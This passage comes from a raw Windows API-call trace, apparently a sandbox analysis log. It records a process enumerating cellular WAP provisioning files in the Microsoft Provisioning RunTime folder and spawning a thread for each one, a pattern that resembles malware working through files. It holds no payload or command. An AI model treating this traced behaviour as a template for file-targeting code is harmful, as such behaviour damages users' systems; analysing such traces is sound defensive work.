(Latvia)_i0$(__MVID)@WAP.provxml" [0178.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fefd88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0178.034] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908d698d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908d698d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908d698d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="238__C~1.PRO")) returned 1 [0178.034] wcscmp (_String1="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.034] wcscmp (_String1="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.034] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2fef868 [0178.034] wcscpy (in: _Dest=0x2fef868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.034] wcscat (in: _Dest=0x2fef868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.034] wcscat (in: _Dest=0x2fef868, _Source="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" [0178.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fef868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0178.035] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908d698d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908d698d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908d698d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="239__C~1.PRO")) returned 1 [0178.035] wcscmp (_String1="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.035] wcscmp (_String1="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x4f00488 [0178.035] wcscpy (in: _Dest=0x4f00488, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.035] wcscat (in: _Dest=0x4f00488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.035] wcscat (in: _Dest=0x4f00488, _Source="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" [0178.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f00488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0178.036] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="23__CO~1.PRO")) returned 1 [0178.036] wcscmp (_String1="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.036] wcscmp (_String1="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.036] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2faafb8 [0178.036] wcscpy (in: _Dest=0x2faafb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.036] wcscat (in: _Dest=0x2faafb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.036] wcscat (in: _Dest=0x2faafb8, _Source="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" [0178.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faafb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0178.037] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908fcbf9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908fcbf9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908fcbf9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", cAlternateFileName="240__C~1.PRO")) returned 1 [0178.040] wcscmp (_String1="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.040] wcscmp (_String1="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x305ec30 [0178.040] wcscpy (in: _Dest=0x305ec30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.040] wcscat (in: _Dest=0x305ec30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.040] wcscat (in: _Dest=0x305ec30, _Source="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" [0178.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ec30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0178.041] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908fcbf9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908fcbf9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908fcbf9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="241__C~1.PRO")) returned 1 [0178.041] wcscmp (_String1="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.041] wcscmp (_String1="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.041] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2fefed0 [0178.041] wcscpy (in: _Dest=0x2fefed0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.041] wcscat (in: _Dest=0x2fefed0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.041] wcscat (in: _Dest=0x2fefed0, _Source="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" [0178.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fefed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0178.042] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", cAlternateFileName="242__C~1.PRO")) returned 1 [0178.042] wcscmp (_String1="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.042] wcscmp (_String1="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.042] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x305ed90 [0178.042] wcscpy (in: _Dest=0x305ed90, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.042] wcscat (in: _Dest=0x305ed90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.042] wcscat (in: _Dest=0x305ed90, _Source="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" [0178.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ed90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0178.043] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="243__C~1.PRO")) returned 1 [0178.043] wcscmp (_String1="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.043] wcscmp (_String1="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.043] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x4f01060 [0178.043] wcscpy (in: _Dest=0x4f01060, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.043] wcscat (in: _Dest=0x4f01060, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.043] wcscat (in: _Dest=0x4f01060, _Source="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" [0178.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0178.043] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x302, dwReserved0=0x0, dwReserved1=0x0, cFileName="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="244__C~1.PRO")) returned 1 [0178.043] wcscmp (_String1="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.043] wcscmp (_String1="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.043] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x4f00c98 [0178.044] wcscpy (in: _Dest=0x4f00c98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.044] wcscat (in: _Dest=0x4f00c98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.044] wcscat (in: _Dest=0x4f00c98, _Source="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" [0178.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f00c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0178.044] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="245__C~1.PRO")) returned 1 [0178.044] wcscmp (_String1="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.044] wcscmp (_String1="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.044] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x4f00330 [0178.045] wcscpy (in: _Dest=0x4f00330, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.045] wcscat (in: _Dest=0x4f00330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.045] wcscat (in: _Dest=0x4f00330, _Source="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" [0178.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f00330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0178.045] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", cAlternateFileName="246__C~1.PRO")) returned 1 [0178.045] wcscmp (_String1="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.045] wcscmp (_String1="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.045] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x4f00080 [0178.045] wcscpy (in: _Dest=0x4f00080, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.045] wcscat (in: _Dest=0x4f00080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.045] wcscat (in: _Dest=0x4f00080, _Source="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" [0178.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f00080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0178.046] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x340, dwReserved0=0x0, dwReserved1=0x0, cFileName="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", cAlternateFileName="247__C~1.PRO")) returned 1 [0178.046] wcscmp (_String1="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.046] wcscmp (_String1="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x4f00df0 [0178.046] wcscpy (in: _Dest=0x4f00df0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.046] wcscat (in: _Dest=0x4f00df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All 